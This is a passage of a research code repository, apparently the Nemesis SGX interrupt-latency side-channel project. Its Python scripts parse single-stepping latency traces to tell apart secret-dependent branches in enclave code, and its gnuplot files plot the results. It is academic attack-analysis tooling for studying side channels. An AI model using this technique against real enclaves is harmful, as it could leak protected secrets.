58 | # 59 | # } /* else move left */ 60 | # 0x0063: 4c 89 fb mov %r15,%rbx 61 | # 0x0066: 48 85 db test %rbx,%rbx 62 | # 0x0069: 75 d5 jne 8750 63 | # 64 | # return (NULL); 65 | # 0x006b: 48 83 c4 18 add $0x18,%rsp 66 | # 0x006f: 31 c0 xor %eax,%eax 67 | # 0x0071: 5b pop %rbx 68 | # 0x0072: 5d pop %rbp 69 | # 0x0073: 41 5c pop %r12 70 | # 0x0075: 41 5d pop %r13 71 | # 0x0077: 41 5e pop %r14 72 | # 0x0079: 41 5f pop %r15 73 | # 0x007b: c3 retq 74 | # 0x007c: 0f 1f 40 00 nopl 0x0(%rax) 75 | # 76 | # return ((void *)p); 77 | # 0x0080: 48 83 c4 18 add $0x18,%rsp 78 | # 0x0084: 4c 89 f0 mov %r14,%rax 79 | # 0x0087: 5b pop %rbx 80 | # 0x0088: 5d pop %rbp 81 | # 0x0089: 41 5c pop %r12 82 | # 0x008b: 41 5d pop %r13 83 | # 0x008d: 41 5e pop %r14 84 | # 0x008f: 41 5f pop %r15 85 | # 0x0091: c3 retq 86 | # 0x0092: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 87 | # 0x0099: 00 00 00 88 | # 0x009c: 0f 1f 40 00 nopl 0x0(%rax) 89 | 90 | BS_OFFSET_CALL = 0x59 91 | BS_OFFSET_RET1 = 0x7b 92 | BS_OFFSET_RET2 = 0x91 93 | BS_OFFSET_CMP = 0x5c 94 | BS_OFFSET_JE = 0x5f 95 | BS_OFFSET_MOV_EQ = 0x84 96 | BS_OFFSET_MOV_LEFT = 0x63 97 | 98 | (latencies, rips) = nem.parse_latencies(IN_FILE) 99 | 100 | with open( ENCLAVE_FILE ,'rb') as f: 101 | elf = ELFFile(f) 102 | symtab = elf.get_section_by_name('.symtab') 103 | bs_rip = symtab.get_symbol_by_name('bsearch')[0]['st_value'] 104 | call_rip = bs_rip + BS_OFFSET_CALL 105 | ret1_rip = bs_rip + BS_OFFSET_RET1 106 | ret2_rip = bs_rip + BS_OFFSET_RET2 107 | cmp_rip = bs_rip + BS_OFFSET_CMP 108 | je_rip = bs_rip + BS_OFFSET_JE # sgx-step somehow consistently skips this je 109 | 110 | bs_idx_entry = rips.index(bs_rip) 111 | try: 112 | bs_idx_ret = rips.index(ret1_rip) 113 | except ValueError: 114 | bs_idx_ret = rips.index(ret2_rip) 115 | 116 | print("parse_bsearch.py: found bsearch@{} (steps {}-{})".format(hex(bs_rip), bs_idx_entry, bs_idx_ret)) 117 | 118 | cmp_indices = [i for i,r in enumerate(rips) if r == cmp_rip] 119 | cmp_latencies = [] 120 | cmp_labels = [] 121 | 122 | cmp_labels_eq = ['cmp', 'add', 'mov', 'pop', 'pop', 'pop', 'pop', 'pop', 'pop', 'retq'] 123 | cmp_labels_left = ['cmp', 'jg', 'mov', 'test', 'jne', 'mov', 'mov', 'shr', 'mov', 'imul', 'lea', 'mov', 'callq'] 124 | cmp_labels_right = ['cmp', 'jg', 'sub', 'lea', 'shr', 'test', 'je', 'mov', 'mov', 'shr', 'mov', 'imul', 'lea'] 125 | 126 | for i,cmp_idx in enumerate(cmp_indices): 127 | cmp_path_end = cmp_idx + len(cmp_labels_right) 128 | cmp_latencies.append(latencies[cmp_idx:cmp_path_end]) 129 | print("parse_bsearch.py: found secret-dependent code path (steps {}-{})".format(cmp_idx, cmp_path_end)) 130 | print([hex(x) for x in rips[cmp_idx:cmp_path_end]]) 131 | 132 | if (rips[cmp_idx+2] == bs_rip+BS_OFFSET_MOV_EQ): 133 | print('--> EQ') 134 | cmp_labels.append(cmp_labels_eq) 135 | elif (rips[cmp_idx+2] == bs_rip+BS_OFFSET_MOV_LEFT): 136 | print('--> LEFT') 137 | cmp_labels.append(cmp_labels_left) 138 | else: 139 | print('--> RIGHT') 140 | cmp_labels.append(cmp_labels_right) 141 | 142 | cmp_labels = zip(cmp_labels[0], cmp_labels[1], cmp_labels[2]) 143 | nem.boxplot(zip(cmp_latencies[0], cmp_latencies[1], cmp_latencies[2], cmp_labels)) 144 | 145 | nem.plot_latency_avg_trace(latencies, rips, bs_idx_entry, bs_idx_ret+1) #, cmp_indices) 146 | -------------------------------------------------------------------------------- /sgx/parse_micro.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import re 4 | import sys 5 | from elftools.elf.elffile import ELFFile 6 | import libnemesis as nem 7 | 8 | MAX_MEASUREMENTS = 10000 9 | 10 | def parse_bench_file(f, skip=0): 11 | latencies = [] 12 | irq_cnt = 0 13 | to_skip = skip 14 | 15 | with open(f, 'r') as fi: 16 | for line in fi: 17 | m = re.search('RIP=0x([0-9A-Fa-f]+); ACCESSED=([0-9]); latency=([0-9]+)', line) 18 | if m: 19 | if not to_skip: 20 | latencies.append(int(m.groups()[2])) 21 | to_skip = skip 22 | irq_cnt += 1 23 | else: 24 | to_skip -= 1 25 | 26 | if irq_cnt >= MAX_MEASUREMENTS: 27 | break 28 | 29 | # last two instructions call trigger_func and disable single stepping 30 | latencies.pop() 31 | latencies.pop() 32 | 33 | print('parse_micro.py: extracted', len(latencies), 'measurements') 34 | return latencies 35 | 36 | #nem.hist( parse_bench_file('out.txt', 0) ) 37 | #exit(0) 38 | 39 | l0 = parse_bench_file('data/ubench/nop.txt') 40 | l1 = parse_bench_file('data/ubench/nop-pte-flush.txt') 41 | l2 = parse_bench_file('data/ubench/load-encl.txt') 42 | l3 = parse_bench_file('data/ubench/load-pte-data-flush.txt') 43 | l4 = parse_bench_file('data/ubench/load-pte-code-data-flush.txt') 44 | nem.hist([l0,l1,l2,l3,l4], ['nop baseline : nop', 45 | 'code PTE flush: nop', 46 | 'load baseline : mov (%rdi), %rax', 47 | 'data PTE flush : mov (%rdi), %rax', 48 | 'code+data PTE flush: mov (%rdi), %rax'], 49 | legend_ncol=2, filename='pte') 50 | #exit(0) 51 | 52 | l0 = parse_bench_file('data/ubench/nop.txt') 53 | l1 = parse_bench_file('data/ubench/add.txt') 54 | l2 = parse_bench_file('data/ubench/lfence.txt') 55 | l3 = parse_bench_file('data/ubench/fscale.txt') 56 | l4 = parse_bench_file('data/ubench/rdrand.txt') 57 | nem.hist([l0,l1,l2,l3,l4], ['no-operation : nop', 58 | 'register increment: add $0x1, %rax', 59 | 'load serialization : lfence', 60 | 'floating point scale: fscale', 61 | 'generate random num : rdrand'], 62 | legend_loc='upper left', legend_ncol=2, filename='inst') 63 | 64 | l0 = parse_bench_file('data/ubench/load-encl.txt') 65 | l1 = parse_bench_file('data/ubench/load-enclave-clflush.txt', 1) 66 | l2 = parse_bench_file('data/ubench/store-encl.txt') 67 | l3 = parse_bench_file('data/ubench/movnti-encl.txt') 68 | nem.hist([l0,l1,l2,l3], ['load cache hit : mov (%rdi), %rax', 69 | 'load cache miss : mov (%rdi), %rax', 70 | 'store : mov %rax, (%rdi)', 71 | 'store non-temporal: movnti %rax, (%rdi)'], 72 | filename='cache') 73 | 74 | l0 = parse_bench_file('data/ubench/div/div-rax-min.txt', 3) 75 | l1 = parse_bench_file('data/ubench/div/div-rdx-min.txt', 3) 76 | l2 = parse_bench_file('data/ubench/div/div-rdx-half.txt', 3) 77 | l3 = parse_bench_file('data/ubench/div/div-rdx-max.txt', 3) 78 | nem.hist([l0,l1,l2,l3], ['rdx=0x0000000000000000; rax=0x0000000000000000', 79 | 'rdx=0x0000000000000000; rax=0xffffffffffffffff', 80 | 'rdx=0x00000000ffffffff; rax=0xffffffffffffffff', 81 | 'rdx=0x0fffffffffffffff; rax=0xffffffffffffffff'], 82 | filename='div') 83 | -------------------------------------------------------------------------------- /sgx/parse_zz.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import re 4 | import sys 5 | from elftools.elf.elffile import ELFFile 6 | import libnemesis as nem 7 | 8 | import pandas as pd, numpy as np 9 | import matplotlib.pyplot as plt 10 | 11 | IN_FILE = 'data/zz_100/out.txt' 12 | TRACE_FILE = 'latency_trace.txt' 13 | ENCLAVE_FILE = 'data/zz_100/encl.so' 14 | 15 | (latencies, rips) = nem.parse_latencies(IN_FILE) 16 | 17 | #dump_latency_avg_trace(latencies, TRACE_FILE) 18 | 19 | with open( ENCLAVE_FILE ,'rb') as f: 20 | elf = ELFFile(f) 21 | symtab = elf.get_section_by_name('.symtab') 22 | b0_rip = symtab.get_symbol_by_name('block0')[0]['st_value'] 23 | zz4_rip = symtab.get_symbol_by_name('zz4')[0]['st_value'] 24 | b5_rip = symtab.get_symbol_by_name('block5')[0]['st_value'] 25 | 26 | b0_indices = [i for i,n in enumerate(rips) if n == b0_rip] 27 | b5_indices = [i for i,n in enumerate(rips) if n == b5_rip] 28 | zz_latencies = [] 29 | 30 | for i,b0_idx in enumerate(b0_indices): 31 | zz4_idx_start = b0_idx + rips[b0_idx:].index(zz4_rip) 32 | assert(rips[zz4_idx_start] == zz4_rip) 33 | zz4_idx_end = zz4_idx_start + 1 + rips[zz4_idx_start+1:].index(zz4_rip) 34 | assert(rips[zz4_idx_end] == zz4_rip) 35 | zz_latencies.append(latencies[zz4_idx_start:zz4_idx_end]) 36 | print("parse_zz.py: found secret-dependent code path zz4@{}->zz4 (steps {}-{})".format(hex(zz4_rip), zz4_idx_start, zz4_idx_end)) 37 | print([hex(x) for x in rips[zz4_idx_start:zz4_idx_end]]) 38 | 39 | zz_labels = [('jmpq','jmpq'), ('nop','lea'), ('lea','lea'), ('jmp','cmp'), ('jmp','cmove'), ('jmp','jmp'), ('jmp','jmp'), ('jmp','jmp'), ('jmpq','jmpq')] 40 | nem.boxplot2(zip(zz_latencies[0], zz_latencies[1], zz_labels)) 41 | 42 | exit(0) 43 | 44 | 45 | b0_a_idx = rips.index(b0_rip) 46 | b5_a_idx = rips.index(b5_rip) 47 | zz4_a_idx = rips[b0_a_idx:b5_a_idx].index(zz4_rip) 48 | print("parse_zz.py: found secret-dependent A=1 code path zz4@{}->b5@{} (steps {}-{})".format(hex(zz4_rip), hex(b5_rip), zz4_a_idx, b5_a_idx)) 49 | 50 | rips_b = rips[b5_a_idx:] 51 | b0_b_idx = rips_b.index(b0_rip) 52 | b5_b_idx = rips_b.index(b5_rip) 53 | print(b0_b_idx , b5_b_idx ) 54 | print(rips_b[b0_b_idx:b5_b_idx]) 55 | zz4_b_idx = rips_b[b0_b_idx:b5_b_idx].index(zz4_rip) 56 | print("parse_zz.py: found secret-dependent A=0 code path zz4@{}->b5@{} (steps {}-{})".format(hex(zz4_rip), hex(b5_rip), zz4_b_idx, b5_b_idx)) 57 | exit(0) 58 | 59 | 60 | nem.boxplot2(latencies[zz_4_idx:b5_idx]) 61 | 62 | exit(0) 63 | 64 | d = {} 65 | 66 | for i in range(zz4_idx, b5_idx): 67 | d['step-{}'.format(i)] = latencies[i] 68 | 69 | df = pd.DataFrame(data=d) 70 | df = df.clip_upper(8600) 71 | print(df) 72 | df.boxplot() 73 | plt.show() 74 | 75 | 76 | # TODO from zz4 to b5: construct boxplots 77 | 78 | exit(0) 79 | 80 | 81 | prev = 0 82 | run = 0 83 | 84 | with open(IN_FILE, 'r') as fi, open(BENCH_FILE, 'w') as fb, open(TRACE_FILE, 'w') as ft: 85 | for line in fi: 86 | m = re.search('RIP=0x([0-9A-Fa-f]+); latency=([0-9]+)', line) 87 | if m: 88 | cur = int(m.groups()[0], base=16) 89 | latency = int(m.groups()[1]) 90 | 91 | # collect latency measurements from zz execution 92 | if (cur == zz_start): 93 | run += 1 94 | in_zz = 1 95 | fired = 0 96 | if (in_zz): 97 | ft.write(str(latency) + '\n') 98 | if (cur == zz_end): 99 | in_zz = 0 100 | 101 | # collect secret-dependent inst latencies for later plotting 102 | if (prev == zz_secret_jmp and not fired): 103 | fb.write(str(latency) + '\n') 104 | fired = 1 105 | 106 | prev = cur 107 | -------------------------------------------------------------------------------- /sgx/plot_hist.gp: -------------------------------------------------------------------------------- 1 | reset 2 | 3 | if (!exists("infile")) infile='latency_bench.txt' 4 | if (!exists("outfile")) outfile='hist.pdf' 5 | 6 | n=70 # number of intervals 7 | 8 | min= 7600. 9 | max= 8600. 10 | 11 | width=(max-min)/n #interval width 12 | # function used to map a value to the intervals 13 | hist(x,width)=width*floor(x/width)+width/2.0 14 | 15 | set terminal pdf 16 | set output outfile 17 | set xrange [min:max] 18 | set yrange [0:80] 19 | 20 | #to put an empty boundary around the 21 | #data inside an autoscaled graph. 22 | set offset graph 0.05,0.05,0.05,0.0 23 | set xtics min,(max-min)/5,max 24 | set boxwidth width*0.9 25 | set style fill solid 0.5 #fillstyle 26 | set tics out nomirror 27 | set xlabel "IRQ Latency" 28 | set ylabel "Frequency" 29 | 30 | #count and plot 31 | plot infile u (hist($1,width)):(1.0) smooth freq w boxes lc rgb"green" notitle 32 | -------------------------------------------------------------------------------- /sgx/plot_trace.gp: -------------------------------------------------------------------------------- 1 | reset 2 | 3 | if (!exists("infile")) infile='latency_trace.txt' 4 | 5 | set terminal pdfcairo size 20cm,10cm 6 | set output 'trace.pdf' 7 | 8 | set xrange [0:560] 9 | set yrange [7800:8600] 10 | 11 | set tics out nomirror 12 | set boxwidth 0.5 13 | set style fill solid 0.5 14 | set xlabel "Time (instruction number)" 15 | set ylabel "IRQ Latency" 16 | 17 | plot infile u 0:1 smooth freq w boxes lc rgb"red" notitle 18 | -------------------------------------------------------------------------------- /thumbnail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/thumbnail.png --------------------------------------------------------------------------------